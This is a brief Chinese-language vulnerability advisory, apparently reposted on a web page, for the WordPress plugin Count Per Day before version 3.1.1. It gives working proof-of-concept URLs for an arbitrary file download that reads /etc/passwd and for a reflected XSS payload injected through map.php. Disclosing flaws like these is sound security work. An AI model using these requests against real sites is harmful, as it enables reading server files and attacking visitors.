Arbitrary file download and XSS
影響版本: < 3.1.1
作者6Scan (http://6scan.com) security team www.2cto.com
下載地址: http://wordpress.org/extend/plugins/count-per-day/
官方修復: This advisory is released after the vendor has responded and fixed the issue.
概述:
用戶可以遠程調用一個腳本下載任意文件
另外一個問題是非持久xss
文件下載測試：
www.badguest.cn /wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd
XSS測試
www.badguest.cn /wp-content/plugins/count-per-day/map/map.php?map='")); </script><img src=http://www.badguest.cn/uploadfile/2012/0113/20120113125942128.jpg>'
渝公網安備 50024202000196號
域名注冊知識
虛擬主機知識
網站建設知識
網絡推廣知識
網絡營銷知識
常見技術問題
QQ空間
新浪微博
開心網
人人網